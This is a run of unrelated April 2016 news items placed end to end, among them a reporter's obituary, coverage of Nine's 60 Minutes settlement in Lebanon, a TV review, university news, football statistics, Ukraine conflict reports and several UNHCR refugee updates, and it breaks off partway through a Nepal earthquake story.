English was born and grew up in Ada, where he developed an interest in journalism. After graduating from Oklahoma City University, he worked briefly for the Duncan Banner before joining United Press International in Oklahoma City.

He became a fixture at Capitol news conferences, always sitting to the right of the governor. English was known for refusing to let that states chief executives avoid answering his questions.

He was obnoxiously relentless, said his widow, Nancy English.

He would ask a governor something, and the governor would say, Thats a good question, and Ill answer it, but first let me tell you something else. And Paul would patiently wait, and then say, Thats nice, but about my question. 

Greiner said English recorded everything and played the recordings back for officials who claimed to have been misquoted.

Another colleague, Marie Price, said English was the most kind-hearted, generous friend and colleague. But coupled with that was a tenacious bulldog of a reporter.

Nancy English said her husband kept signs throughout their house that were variations on the theme Never give up.

After 26 years with UPI, English moved to The Oklahomans Capitol Bureau, where he remained for 16 years. He finished his career with the World before retiring in 2005.

He was inducted into the Oklahoma Journalism Hall of Fame in 1995.

While working for UPI, English served eight years on the Oklahoma City Board of Education during a particularly tumultuous time during the 1970s. He was a Democratic candidate for U.S. Senate in 1980.

English is survived by his wife, Nancy English; a daughter, Melody English; a son, Richard English; a stepson, Michael Mount; and a stepdaughter, Lisa Hall, all of Oklahoma City; and six grandchildren.

The family will visit with friends from 6 to 8 p.m. Monday at Hahn-Cook Funeral Home in Oklahoma City.

A memorial service will be held at 2 p.m. Tuesday at Crossings Community Church in Oklahoma City.
The opposition is calling for public disclosure of the legal advice given to former Attorney General Faris Al Rawi relating to the indemnity agreement with Vincent Nelson.

Speaking at the UNCs weekly Sunday media conference this morning, MP Saddam Hosein also criticized what he sees as the law associations delayed and weak response to the entire matter.
Nine Network Chairman Peter Costello has acknowledged Nines settlement with Ali Elamine to secure the release of the 60 Minutes crew, but without detail on the amount involved.

Our legal team in Lebanon reached a settlement with Mr Elamine relating to the charges against the 60 Minutes crew in detention, which was approved by the Lebanese judge in accordance with Lebanese law, he told News Corp.

This settlement resulted in their release.

We have no further comment on the details of that settlement.

The statement follows Ali Elamine given to The Project this week in which he denied money was part of his deal with Nine.

It also follows Nine saying it could not comment on any payments it had made, and that it would not comment while an internal review was underway.

Yesterday the Prime Minister said he expected various regulatory agencies would be interested in Nines activities, in relation to the saga.

Like all Australians, broadcasters should respect the laws of the countries in which they operate, Communications Minister Mitch Fifield told The Weekend Australian.

The ACMA, as the independent regulator, has the powers it needs to determine whether there have been any potential breaches of Australian broadcast regulation.

The ACMA is continuing to monitor developments, a spokeswoman for the media watchdog said.
Its been nearly 30 years since Mission Impossible produced a rebooted production in Melbourne, using carefully-dressed corners of the city as foreign locales such as France, Greece and China.

At least they left the US.

But leaving US borders isnt a priority for the ironically-titled Criminal Minds: Beyond Borders if the first episode is anything to go by. Now thanks to CGI and stock footage, it can seemingly do it all on the Hollywood backlot. But at a cost to its credibility.

The lear jet of the long-running Criminal Minds is now replaced by a much larger carrier that whisks the FBIs International Response Team off to Thailand after a pair of young American girls go missing.

The team is headed up by Jack Garrett (Gary Sinise), who heads off with a skeleton crew of Matt Simmons (Daniel Henney) and Mae Jarvis (Annie Funke). Criminal Minds original Joe Mantegna appears briefly in a pointless cameo, as if to justify the franchise link.

While the plot surrounds two girls held hostage at Thai farm outside Bangkok I was frequently distracted by the shortcomings of the production. Many gave a cliche Hollywood version of the Orient, but some were ridiculous.

They bring their own 4WD, complete with Left Hand steering -but the Thai vehicles are not correctly RHS. There were plenty of conical bamboo hats (including in the city) in scenes frequently accompanied by Chinese-sounding music. The plane appeared to land in a coastal setting, not city, and a typhoon was reportedly over Cambodia before heading up the southern coast of Thailand (thats quite an S bend path). Im sure I saw Mt. Fuji somewhere in the stock footage too.

The FBI team worked to solve the case with Royal Thai Police -I will give them a pass on uniforms and Thai language from Korean-born actor Keong Sim (but not smart naming him Taksin, given he is the corrupt PM currently exiled from Thailand). However the FBI team showed considerable arrogance in dismissing local procedures, despite professing They have a system, we have to respect it.

It skips over reasons why the local force is incapable of addressing the crime. They even manage to find fresh footprints despite the flight time involved from US to Asia.

The core team, joined by linguistics specialist Clara Seger (Alana de la Garza), are carefully filmed in exteriors such as generic farmland or village street, with awkward green-screen driving and CGI-enhanced cityscapes.

But it wouldnt be Criminal Minds without a Technical Analyst rooted to his monitors in the US. Here it is African-American geek Monty (Tyler James Williams), doing all the finger-fast work on the Unsubs.

Aside from the production errors and the bad dialogue (Why do humans always find new ways of hurting one another?) how does the episode stack up? Well the case wasnt especially interesting, and there was a decided lack of tension throughout. Gary Sinise is the most grounded of the lot, working with a very thin script.

With a different country to feature every week I found myself wondering if its message will be that all foreigners are bad, or that it was an American villain all along. I cant wait till the Australian episode, doubtless to chase a nasty outback killer nabbing hitchhikers. Maaaate!

Its time to wind down Criminal Minds full stop. And for gods sake, please buckle up and remain within your own borders.

Criminal Minds: Beyond Borders airs 9pm Monday on Seven.
Today marks 400 years since the death of William Shakespeare.

Tonight the History Channel screens The Shakespeare Enigma

This high-gloss documentary examines a highly controversial topic: Who was William Shakespeare, and did he write the works we associate with his name? Among the most interesting candidates advanced by scholars as the real dramatist is Christopher Marlowe, a successful author and secret agent of Queen Elizabeth I. Shakespeares first plays werent performed until after Marlowes early death in 1593 at the age of 29 in a sordid pub brawl in Deptford, by the River Thames, East of London. Until now this has seemed to rule out Marlowe as a candidate for the writer of Romeo and Juliet, Macbeth, Hamlet and King Lear.

But in this new documentary, biography and history specialists explore a fascinating and revolutionary thesis: Christopher Marlowe faked his own death to avoid arrest and possible execution by Elizabeth Is ministers. This freed him to devote his life to literature, using actor-manager William Shakespeare as his straw man drawing on his own lifes experiences for at least some of his subject matter! High-budget re-enactments and shooting on original locations sketch an image of the golden age of Elizabethan theatre, and scholars from various fields weigh in on the question of Shakespeares secret.

Saturday April 23 at 8.30pm on History.
Prime Minister Malcolm Turnbull has indicated regulatory authorities would be interested in payments surrounding the 60 Minutes story.

2SMs John Laws asked whether the Australian Securities and Investment Commission should examine Nine payments. It follows Sunrise host David Koch quizzing Treasurer Scott Morrison yesterday.

Ive seen those reports, Ive got no doubt it will be of interest to various regulatory agencies, Turnbull said.

Id rather say no more about it, other than to make this observation: it doesnt matter who you are, or who you work for, when you are overseas you must obey the laws of the country in which you are visiting. Nobody is above the law.

If you break the law in other parts of the world, you may well be breaking Australian law as well.

We have laws against corruption, we have laws against fighting overseas for terrorist organisations or in foreign wars. There are a lot of Australian laws you can break overseas.

From what I have read about it, it appears to have been most unwise.

Meanwhile other media reports have suggested Nine contacted profile Lebanese-Australians to help secure the freedom of its crew as negotiators.

Fairfax reports Nine approached underworld figure Mick Gatto and his business partner John Khoury had been preparing to fly to Beirut last Monday.

We are not making any comments about the various rumours racing around about who we might have spoken to or not, nor what any attempts Nine staff might have made to reach anyone they knew with connections in Lebanon to help bring their colleagues home, a Channel Nine spokeswoman said.

I can confirm there were no formal Network decisions about engaging their [Gatto and Khourys] services in any capacity.

7.30 also reported controversial former NSW politician Eddie Obeid was approached by a friend from Channel Nine, and made a number of calls to senior Lebanese politicians. Nine denied the allegation.

No word if the Habibs were being roped in too.

Source: Guardian
10:06 a.m., April 22, 2016--The Delaware AeroSpace Education Foundation (DASEF) will host a Planet Earth family day event from 1-4 p.m., Saturday, April 30, at the Environmental Outpost, 585 Big Oak Road, Smyrna, Delaware.

There will be a variety of simultaneous fun-filled family activities, including rocket launching and face painting.

Those who attend will have an opportunity to see moon rocks and the ILC space suit. There also will be a hands-on Wyland Clean Water Maze featuring marine life.

Educational displays include those on endangered animals and rain forest species, and the life cycle of a butterfly.

Admission is $5, free for children 3 and younger, and the event will be held rain of shine. There will be refreshments available for purchase.

For more information, call 834-1978, visit the website or email dasef.outpost@verizon.net.

A flyer about the event is available.

DASEF works in cooperation with the Delaware Space Grant Consortium, of which the University of Delaware is a part as a space grant institution.
University of Delaware students spent a semester in Volterra, Italy, learning to appreciate the rich culture of Tuscany.

University of Delaware students spent a semester in Volterra, Italy, learning to appreciate the rich culture of Tuscany.

10:13 a.m., April 22, 2016--Midway through their semester studying in Volterra, Italy, participants in a first-of-its-kind University of Delaware program have attended talks by the governor of the historic town and its tourism officials, read and analyzed novels about vampires and learned firsthand how the local prison rehabilitates inmates through a theatre program.

The UD students have also come to appreciate the culture of the Tuscany region and its contrasts with America  finding more accessible and affordable mass transit, for example, and smaller food markets offering fewer choices but fresher and more healthful items.

Theyve traveled to other Italian cities and, especially during spring break, to other parts of Europe, taking in information about history, architecture and art and interacting with both local residents and other groups of students from around the world.

In the short time that I have been in Italy, we have stumbled upon places and objects that were not included in a guide book, student Olivia Smith wrote in her blog two weeks into the semester. This weekend, a few people from the group and I found a really big church that no one knew about. We also found two tunnels that were blocked off that lead to somewhere unknown, an Art Institute and very beautiful pieces of art painted on plywood.

Every day in Italy is full of surprises and experiences.

The full-semester interdisciplinary study abroad program combines the efforts of UDs Institute for Global Studies, College of Arts and Sciences (CAS) and the Alfred Lerner College of Business and Economics. Students are earning 15 credits in courses that satisfy CAS breadth and/or University general education requirements, as well as those that meet requirements for students considering a minor in business or a major in hotel, restaurant and institutional management.

Ten courses taught by five CAS faculty members, ranging from theatre to criminal justice, and three Lerner courses are offered. In designing the interdisciplinary program, the CAS faculty members transformed courses they teach regularly on the Newark campus to take advantage of the international programs location.

All participants are living and studying in a modern campus in Volterra, the Scuola Internazionale di Alta Formazione (SIAF).

Constructed in 2006, the American-style campus blends seamlessly into a walled city and physical landscape rich with landmarks of Etruscan, Roman and Medici Florentine history, according to Fred DeMicco, ARAMARK Chair in Hotel, Restaurant and Institutional Management at UD and a faculty member in the study abroad program.

Students also have benefited from Volterras location about an hour from Florence, Pisa and Siena. Student Randy Short described Siena as a beautiful city accessible by an enjoyable bus ride.

The town of Sienas architecture is amazing, he wrote. When everything looks better than at home, it is hard to take just a few pictures! I appreciate Sienas commitment to preservation.

Participants in the program also have described why they chose a semester-long program instead of the more common study abroad programs that are most popular during Winter Session.

Choosing a full semester program allowed me to really integrate myself into several cultures, said Alex Frketic, adding that he has especially enjoyed the ability to naturally learn a language by immersing himself in daily life in Italy.

I believe that in order to grow as an individual, you have to challenge yourself and learning Italian did just that, he said. Learning Italian has also allowed me to broaden my horizons and open my eyes and not place stereotypes on people. Everyone is different and you have to respect that.

Article by Ann Manser
The Weinberg Center held its annual corporate governance symposium, with a focus on issues of critical importance to corporate boards and investors.

12:26 p.m., April 22, 2016--This years recent corporate governance symposium brought to the University of Delaware campus many of the top experts in the corporate governance field.

Titled Governance Issues of Critical Importance to Boards and Investors in 2016, symposium attendees were welcomed by a variety of University of Delaware leaders including Nancy Targett, acting president of UD; Charles Elson, director of the John L. Weinberg Center for Corporate Governance and the conference sponsor, and Ann Mule, the Weinberg Centers associate director.

Also welcoming the attendees was Myron T. Steele, the former chief justice of the Delaware Supreme Court and chair of the Weinberg Centers Advisory Board.

Mule noted that the sold-out event presents the opportunity to bring together an outstanding panel of governance practitioners and to showcase academic research work which focuses on governance issues deemed important by the center.

Mule has said on numerous occasions that one of the strengths of the Weinberg Center is that it brings together all stakeholders  academics, practitioners, thought leaders and students  at events like this one, where thoughtful discussions occur and network opportunities abound.

The symposium began with a panel discussion featuring experts serving as public company directors, investors, proxy advisory firm principals and other representatives from the corporate and investor community, and the Delaware judiciary.

The panel, moderated by Elson, began with individuals sharing their thoughts on which issues will matter most to boards and investors in 2016.

The panelists included:

Les Brun, chairman and CEO of Sarr Group LLC; chairman of the boards of Broadridge Financial Solutions Inc. and CDK Global Inc.; audit committee chair, Merck and Co. Inc.; director, Hewlett Packard Enterprise Co. and NXT Capital Inc.

Margaret (Peggy) M. Foran, chief governance officer, senior vice president and corporate secretary, Prudential Financial Inc.; director, Occidental Petroleum Corp.

Michael Garland, assistant comptroller for corporate governance and responsible investment, Bureau of Asset Management, Office of the New York City Comptroller.

J. Travis Laster, vice chancellor, Delaware Court of Chancery.

Robert M. McCormick, chief policy officer, Glass Lewis and Co.

Patrick S. McGurn, special counsel and head of strategic research and analysis, Institutional Shareholder Services (ISS).

Allie Rutherford, principal, CamberView Partners LLC.

Thomas E. Sandell, chairman and CEO, Sandell Asset Management Corp.

Anne Sheehan, director of corporate governance, California State Teachers Retirement System (CalSTRS).

The panel discussion began with Elson posing this question to the panelists: Whats bugging you?

The first panelist to answer outlined his four major concerns: proxy access, hedge fund activism, board accountability and board responsiveness and refreshment.

Regarding hedge fund activism, he noted that settlement fever has broken out, and cited several examples of what he sees as a trend based on several recent settlements and a number of major contests upcoming.

The next panelist touched on several topics she and her colleagues are paying attention to, including proxy access, board composition (particularly in the area of board diversity) and sustainability, both as a risk management issue as well as an environmental and social issue.

Other panelists were concerned about the misalignment between performance and compensation, commenting that there are more conversations now about pay for performance, and asking, What does a compensation committee do when there is misalignment?

One of the panelists presented a question to the panel: There has been a shift from a management-centric system to a shareholder-centric system. Where should the balance lay? A lively discussion ensued.

It is fair to say that there was a great deal of disagreement among panel members on a number of issues including investor engagement, activism, settlements, proxy access and others. However, after a healthy discussion about these and other issues of concern raised by the panel, one panelist observed that the level of consensus around what is important from the panelists perspectives was remarkable.

He noted that board accountability is where they are going  tenure, refreshment, diversity and proxy access.

Following the panel discussion was a paper presentation by noted Harvard law professor Lucian Bebchuk.

Bebchuk, the William J. Friedman and Alicia Townsend Friedman Professor of Law, Economics and Finance at Harvard University and the director of the Program on Corporate Governance at Harvard Law School, focused on the concept of the enhanced-independent director who would be accountable to public investors as a way to protect public investors from controlling shareholders opportunism.

Introducing Bebchuk, Elson explained that the Harvard professors work on corporate governance is legendary.

The critically acclaimed authors research is cited throughout the world. He led SSRN citation rankings for law professors at the end of 2015 and for the previous eight years in terms of the total number of citations to his work. [Note: SSRN is a multi-disciplinary online repository of scholarly research and related materials.]

Elson quipped, So, lets just say that when Lucian talks, the world listens.

Bebchuks presentation, Making Independent Directors Work," was based on a paper he co-authored with Assaf Hamdani, who is also a professor of law at Harvard.

The papers focus was that, To ensure that independent directors can be relied upon to monitor controlling shareholders, [it is argued], some independent directors should be accountable to public investors. This can be achieved by empowering the investors to determine or at least influence these directors election or retentionEnhancing the independence of some directors would substantially improve the protection of public investors without undermining the ability of the controller to set the firm's strategy.

Afternoon session

The afternoon session included the presentation and discussion of three papers. The first paper, "Shareholder Power and Corporate Innovation: Evidence from Hedge Fund Activism, was presented by co-author Alon Brav from Duke University. The paper examined how hedge fund activism reshapes corporate innovation.

The discussant for this session was Sabastian V. Niles from New York City law firm Wachtell, Lipton, Rosen and Katz. This paper was received the John L. Weinberg Center best paper award at the symposium

Who Controls Corporate Charters? Shareholder Activism and Corporate Charter Amendments was presented by Geeyoung Min from the Millstein Center for Global Markets and Corporate Ownership at Columbia Law School. This article challenges conventional prior scholarship that has characterized corporate charters as relatively static documents that tend to serve the interests of managers over those of shareholders.

The discussant for this session was Myron T. Steele Potter, Anderson and Corroon LLP and former chief justice of the Delaware Supreme Court.

Andrew F. Tuch from the Washington University School of Law delivered the last symposium presentation. Titled Banker Loyalty in Mergers and Acquisitions, the piece is a forthcoming article in the Texas Law Review. It develops a theoretical account of investment banks as fiduciaries of banks merger and acquisition (M&A) clients, showing why they should act loyally toward their clients unless informed client consent is obtained.

The discussant for this paper was Laster, vice chancellor of the Delaware Court of Chancery.

Article by Deborah Blanchard

Photos by Kathy F. Atkinson and Lane McLaughlin
The UEFA Champions League semi-finals have stirred up memories for Manchester City and Real Madrid's star strikers, both of whom know their last-four rivals very well indeed. With Manchester United, Ronaldo played City in 11 derby matches, while Sergio Aguero represented Atletico in 11 such games with Real Madrid. UEFA.com picks out the key statistics.

Ronaldo's English meetings with City

P11 W7 D1 L3 (W4 D1 L1 at home, W3 D0 L2 away), goals: 4

Goals-per-game ratio for United: 0.43 (234 domestic league and cup games, 101 goals)

Goals-per-game ratio against City: 0.36 (11 domestic league and cup games, 4 goals)

Ronaldo's quarter-final hat-trick

Key highlights

 Ronaldo scored his first cup competition goal  and only his second in all competitions for United  against City in a 4-2 FA Cup home win on Valentine's Day 2004.

 He was sent off for the second time in his United career during a 3-1 Premier League defeat at City in January 2006, for a rash challenge on former United ace Andrew Cole.

 Ronaldo notched his first Premier League goal against City in a 3-1 home success in December that year; his was the late third, the Portuguese having also set up Wayne Rooney's opener.

Watch all Ronaldos EURO goals

 On 5 May 2007, Ronaldo registered his 50th goal for United from the penalty spot in a 1-0 triumph at City; a draw between Chelsea and Arsenal the next day confirmed United as English champions.

 Ronaldo received the fourth and final red card of his United career against City in November 2008, picking up a second yellow in odd circumstances for handling a Rooney corner.

 Ronaldo said he had heard the referee's whistle and "took the initiative to stop the match". Sir Alex Ferguson said he was "trying to protect himself from the ball hitting his face". City boss Mark Hughes responded: "If it was going to hit him in the face, why didn't he head it?"

 Ronaldo netted his last United goal in a 2-0 home victory against City in May 2009  a deflected free-kick  though his angry reaction to being substituted overshadowed his strike.

 United beat City in every meeting in which Ronaldo scored.

 Ronaldo also scored once as Real Madrid beat City 3-2 at home in the 2012/13 UEFA Champions League group stage, but did not register in the return fixture  a 1-1 draw.

Aguero up against Madrid in 2008 Getty Images

Aguero's Spanish meetings with Madrid

P11 W0 D3 L8 (W0 D1 L5 at home, W0 D2 L4 away), goals: 3

Goals-per-game ratio for Atletico: 0.42 (195 domestic league and cup games, 81 goals)

Goals-per-game ratio against Madrid: 0.27 (11 domestic league and cup games, 3 goals)

Aguero: My dream five-a-side

Key highlights

 Atletico lost to Real Madrid in every encounter in which Aguero scored; he has yet to win a match against the Merengues.

 Aguero hit the opening goal of the 2007/08 Liga campaign as he nodded home inside the first minute at the Bernabeu. Ultimately, however, he finished on the losing side as Madrid came back to prevail 2-1.

 He got two more goals against Madrid: he eluded Pepe to pull one back in a 3-2 home loss in November 2009, and also reduced the deficit after playing a one-two in a 2-1 home reverse in March 2011.

 Aguero started nine of the 11 games in which he participated against Real Madrid.

 The forward was linked with Real Madrid last summer, before electing to sign a new deal with City: "The only reason a player should leave a club is to achieve things, and I can achieve all I want to at City," he said.

 Rumours his transfer to City had included a clause forbidding Aguero from moving on to Real Madrid proved unfounded, though he was quoted as saying: "I had great times [with Atletico] and couldn't betray them by signing for Real Madrid."
The Russian mercenaries launched 30 attacks on the Ukrainian troops in eastern Ukraine over the past day; seven of them were launched from the weapons, banned under the Minsk Agreements.

This is reported by the ATO press center.

"The militants used mortars, machine guns and grenade launchers gangs to fire at the Ukrainian positions in the direction of Zaitseve [67km north-north-east of Donetsk], Avdiyivka [18km north of Donetsk], Verkhniotoretske [22km north-east of Donetsk]," reads the report.

As noted, the Ukrainian servicemen in Shyrokyne (20km east of Mariupol) came under fire from mortars, grenade launchers and anti-tank missile systems.

The tense situation was observed in Luhansk region as well. The militants used grenade launchers of various systems, heavy machine guns small arms to shell Ukrainian soldiers near Trokhizbenka (33km north-west of Luhansk).

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The agreement between the Government of Ukraine and the European Commission on financing the "U-LEAD with Europe: Ukraine Local Empowerment, Accountability and Development Programme" project has been signed in Kyiv.

The corresponding document was signed by Vice Prime Minister of Ukraine and Minister for Regional Development, Construction, Housing and Utilities Services of Ukraine, Hennadiy Zubko and Head of the Support Group for Ukraine Peter Wagner, an Ukrinform correspondent reports.

"I would like to thank the European Union, the German government, the Polish government for the active support ... This is the first large-scale financial support from the European Union, this is recognition of successful implementation of the decentralization reform in Ukraine," Zubko said.

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The United States, Switzerland and Canada are willing to join the agreement signed by Ukraine and the EU on financing the "U-LEAD with Europe: Ukraine Local Empowerment, Accountability and Development Programme" project.

Head of the Support Group for Ukraine Peter Wagner said this after signing of the agreement, an Ukrinform correspondent reports.

"This is achievement of Ukraine. The joint work, which will be implemented in cooperation with other investors as the representatives of US, Switzerland and Canada expressed a desire and interest in it. I think that the size of aid and support to be provided by Ukraine will grow, and we will be ready to mobilize larger support for Ukraine," Wagner said.

He noted that decentralization was one of the key priorities of cooperation between the EU and Ukraine.

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| By Patricia Fanning

For the second consecutive year, President Jay A. Perman, MD, addressed the Regional BioTech Forum to discuss advances in research and commercialization by the University of Maryland, Baltimore (UMB) and its partners in academia and the private sector.

(View a photo gallery.)

As one example, he cited the co-founding of Harpoon Medical, Inc. in Maryland by cardiac surgeon James Gammie, MD, who invented a device that may enable mitral valve repair without opening the chest or stopping the heart. Given that 50,000 Americans must undergo open-heart surgery each year for valve repairs, Perman said, Gammies image-guided tool holds enormous promise and potential cost savings.

Reducing inpatient time in the hospital is absolutely key to reducing health care costs, he said.

"Harpoon has raised over $10 million in financing, and is reporting excellent patient outcomes in clinical trials, Perman said, noting that he is thrilled to say UMB has put some of its own money into Gammies startup as well as another physicians company that targets chronic obstructive pulmonary disease.

Perman appeared April 18 on an academic panel along with Robert Caret, PhD, chancellor of the University System of Maryland, and three university presidents representing institutions in Virginia and the District of Columbia.

UM Ventures Director James Hughes, MBA, president of the UM BioPark, left; Gayatri Varma, PhD, of MedImmune; UMB President Jay Perman, MD; and BioPark tenant Marco Chacon, founder and chairman, Paragon Bioservices.

The panel took place on the opening day of a two-day event attended by Marylands Commerce Secretary Mike Gill and Gov. Larry Hogan, who called the states life sciences industry the backbone of Marylands economy.

More than 400 representatives of life sciences companies, venture capitalists, federal laboratories, and institutions of higher education were registered for the conference, held at MedImmune in Gaithersburg, Md. The event was chosen as the occasion to unveil a name and tagline developed for the life sciences sector in this region: BioHealth Capital Region: Advancing Science, Accelerating Innovation.

In keeping with the geographic breadth of the area, Perman and Caret were joined by Steven Knapp, PhD, president, George Washington University; Angel Cabrera, PhD, president, George Mason University; and Timothy Sands, PhD, president, Virginia Polytechnic Institute and State University. Sands said that Virginia Tech is seeking to be a catalyst for research and technology and the health sciences not only in Blacksburg-Roanoke, Va., but also near its campus in Northern Virginia.

Their panel was moderated by John C. Cavanaugh, PhD, president and chief executive officer, the Consortium of Universities of the Washington Metropolitan Area, which represents 14 institutions.

Caret began his remarks by recalling his stints in California and Massachusetts, where companies in Silicon Valley and near Bostons Route 128, respectively, have made the regions synonymous with tech development. We are at a point of becoming that other large cluster," he said. Caret spoke during the panels discussion and afterward in an interview with the Baltimore Business Journal on using research partnerships with private industry to help drive the effort.

The BioHealth Capital Region has established a goal of Top 3 by 2023.

The governor of Maryland also spoke of growing the biotech sector. Your success is our success, and as we look ahead it is absolutely vital to work together as a region to attract the best and brightest workforce, and attract a critical mass of companies, Hogan was quoted in the Baltimore Business Journal.

Hogan and Perman each highlighted the same company during comments that came at separate times of the opening day of the conference. Profectus BioSciences, Inc., is developing an Ebola vaccine, among other initiatives.

Perman, whose remarks addressed the role of innovation in reducing health care costs, reflected upon his own career as a pediatric gastroenterologist. He recalled that early on, infants and their families had to cope with lengthy hospital stays that have been eliminated by research findings. These ailments have been vaccined out of existence, he observed.

Perman and the other academic leaders took questions from the large audience and were available for networking afterward. The forum was attended by several students at UMBs Graduate School, alumni, tenants or former tenants of the UM BioPark, and representatives of UM Ventures, a part of the University of Maryland: MPowering the State in which UMB collaborates with the University of Maryland, College Park.

Officials in attendance included UM Ventures Director James Hughes, MBA, chief enterprise and economic development officer and vice president at UMB; and Jane Shaab, assistant vice president, economic development at UMB. Hughes is president of the UM BioPark and Shaab is its executive director.
One of renowned photographer Lynsey Addario's pictures of displaced people in Myanmar exhibited in the show.  Lynsey Addario

LOS ANGELES, United States, April 21 (UNHCR) - The world's largest ever forced displacement crisis - which has seen 60 million people flee from war, conflict and persecution - has been thrown into sharp focus with the opening of a landmark photo exhibition by UNHCR and the Annenberg Foundation.

"The magnitude of the displacement crisis today is unlike anything we've ever seen," said UN Deputy High Commissioner for Refugees Kelly Clements after the launch of the REFUGEE exhibit late on Thursday (April 21) in Los Angeles. "The images capture at once both the scope of the crisis and the resilience and courage of mothers, children and fathers fleeing for their lives."

At 60 million, the number of those currently displaced worldwide is greater than at any time since World War II. Nearly 20 million of these are refugees and more than half are children. The conflict in Syria is the main driver of this global crisis, forcing more than 4.8 million Syrians to become refugees in its neighbouring countries alone, with more seeking safety further afield.

UNHCR, the UN Refugee Agency, provided logistical support and collaborated with the Annenberg Foundation for the exhibition, which shows the growing displacement crisis through the lens of some of the world's most renowned photographers. It gives visitors insights into the plight of refugees, including their efforts to survive, their needs, their dreams and their hopes for a better future.

Pulitzer Prize-winning photographer Lynsey Addario highlights the situation of displaced people living in Bangladesh and Myanmar. Omar Victor Diop's work shows refugees from the Central African Republic in Cameroon while Graciela Iturbide throws into sharp focus the lives of young Central Americans seeking protection in Mexico.

Martin Schoeller, best-known for his close-up portraits of politicians and celebrities, has turned his lens on resettled refugees in the United States of America. Tom Stoddart focuses on men, women and children on the move in Greece, Croatia, Slovenia, Serbia and Germany.

"Through the eyes and lenses of these extraordinary artists - some of whom were commissioned to do their work specifically for this show - we see the deep humanity, the astonishing turmoil and triumph, that ought to define the way we look at the world's 60 million forcibly displaced people," said Annenberg Foundation President Wallis Annenberg. "This work makes me think, it makes me feel. And isn't that what the very best art should do?"

The newly commissioned work by the photographers will run from April 23 until August 21, 2016 at the Annenberg Space for Photography in Los Angeles.

By Brian Hansford in Los Angeles
The distribution of core relief items provided by the UN Refugee Agency is planned to begin today in order to assist the people affected by the earthquake that struck Ecuador last Saturday (16 April). This is subject to agreement with the authorities locally. The materials, including some 900 tents, 15,000 sleeping mats, 18,000 repellent-impregnated mosquito nets, plastic sheets and kitchen sets, left UNHCR's global logistics hub in Copenhagen and arrived in Quito on Wednesday night. They were loaded onto 16 trucks and transported over badly damaged roads to Santo Domingo, in the centre of the country, and will be taken today to three locations in Manabi Province: Manta, Pernales and Portoviejo.

The aim is to deliver these items to some 40,000 people - refugees, asylum-seekers and local citizens alike - in the communities most affected by the earthquake. UNHCR has already delivered tents and plastic sheeting to Esmeraldas, Jama and Canoa, and has begun work on the construction of a camp to provide essential shelter to scores of displaced families.

At least 580 people died in the 7.8 magnitude quake that shook Ecuador's coast last week, and over 8,000 people were injured. In the worst-affected areas, approximately 40,000 people still need emergency relief items, such as tents and jerry cans. These people are particularly at risk, as many are refugees from neighbouring Colombia. Ecuador is the biggest refugee-hosting country in Latin America, providing international protection to over 200,000 Colombian refugees, many of whom had settled in the earthquake-affected areas. UNHCR is committed to helping the Government Ecuador and its people with support for refugee and host community populations.

For further information on this topis, please contact:
One year after the Burundi crisis began, almost 260,000 people have fled to nearby countries and thousands more could join them over the rest of the year unless a political solution is found and a descent into civil war averted.

People continue to arrive in neighbouring countries, albeit in smaller numbers in recent weeks as it becomes harder to cross borders. Many asylum seekers or new arrivals report human rights abuses in Burundi, including torture, sexual violence, arbitrary detention, intimidation, forced recruitment by militia, killings and extortion. To date, 259,132 people have fled the country, and we are planning our humanitarian response based on a figure of some 330,000 refugees by year's end.

Continuing international support is needed to help ease the tension and encourage an inclusive dialogue. With mass returns not currently expected soon, UNHCR will in the coming year put greater emphasis on education for children and youth, and encourage refugees to become self-sufficient at a time when budget shortfalls are leading to cuts in some assistance.

UNHCR is seeking almost US$175.1 million for its Burundi crisis operations this year, but has received only US$47.8 million to date, or some 27 per cent. This means we are struggling to provide even the basics such as shelter, household items and latrines. The provision of services such as specialized counselling, care for the disabled and elderly, protection of the environment and even primary health care may also fall by the way side.

Meanwhile, the worsening economic conditions inside Burundi could exacerbate the situation, fuelling further displacement and making return conditions less favourable. Most of the refugees and thousands of internally displaced will probably not return home under present conditions.

But for those in Tanzania (135,941 refugees), Rwanda (76,404), Democratic Republic of the Congo (22,204) and Uganda (24,583), conditions in exile are tough and a large influx would make their lives even more challenging.

These countries continue to generously accept people, despite space restrictions and capacity problems. But they will need increased international support to host more people. We urge host countries to keep their doors open and donors to continue and step up support for the refugee response.

In Burundi, the situation one year on is tense and marked by sporadic violence, which has killed more than 400 people since last year. People continue to cross from the provinces of Ruyigi, Muyinga, Kirundo, Rutana, Makamba, Rumonge, Bujumbura and Kibitoke to neighbouring countries, but there are also small numbers of people returning spontaneously. At least 25,000 people have fled to safer areas in Makamba, Rutana and Kirundo, but freedom of movement is becoming harder.

TANZANIA

Tanzania, which hosts the largest number of Burundian refugees, has been admitting an average 130 people a day. The bulk of the newly arrived Burundian refugees (more than 71,000) are living in the overcrowded Nyarugusu camp, which is now one of the largest refugee camps in the world with 140,540 refugees. Conditions are very difficult and UNHCR has put a priority on decongesting the camp. The rest live in Nduta and Mtendeli camps, which were reopened to ease congestion in Nyarugusu. But Nduta has reached its 55,000 capacity and from next week new arrivals will be taken to Mtendeli.

Management of the environment is a key issue in Tanzania, with deforestation in and around the refugee camps a concern for UNHCR. The government has asked us to stop using wooden poles to erect shelters and to distribute fuel-efficient stoves.

RWANDA

In Rwanda, new arrivals continue to be registered at a rate of around 130 per week. More and more urban refugees are approaching UNHCR to move to Mahama camp, in Eastern province, after spending the last of their savings to keep alive. This adds to the urgent need to construct more shelters in the camp, which is home to nearly 48,500 refugees-nearly half of whom are children.

UGANDA

In Uganda, the rate of new arrivals has been relatively stable in recent weeks, averaging between 150-250 week (25-35 a day) in April. Last week saw 167 Burundian refugees arrive at the Nakivale settlement in the southwest of the country. Refugees report difficulties crossing borders, especially without papers.

DEMOCRATIC REPUBLIC OF THE CONGO

The number of Burundian refugees in the Democratic Republic of the Congo (DRC) has steadily increased. About 900 refugees were registered in each of the first three months of the year. They included newly arrived Burundians and those who have been in the country for a while.

Most are staying at the Lusenda camp, which now hosts more than 16,000 refugees and has a capacity for 18,000. Other refugees are staying with host families in straitened circumstances. To improve conditions, UNHCR has this year built more shelters and health facilities and upgraded the water system. Supporting peaceful coexistence between refugees and the host community is a priority.

For further information on this topic, please contact:
GORKHA, Nepal, 21 April 2016  I love my daughter the most in the whole world, said Amita Gurung, holding her baby Arpita tightly in her arms. "But when I think of the day she was born, I feel like crying."

It was a dull Saturday afternoon. Nine-month pregnant Amita was lying lazily on her bed watching television. Suddenly she heard a rattling sound and her sister screaming Earthquake! Earthquake!

Amitas memory of dragging herself out of the collapsing house when the whole world seemed to be rocking still feels like a bad dream.

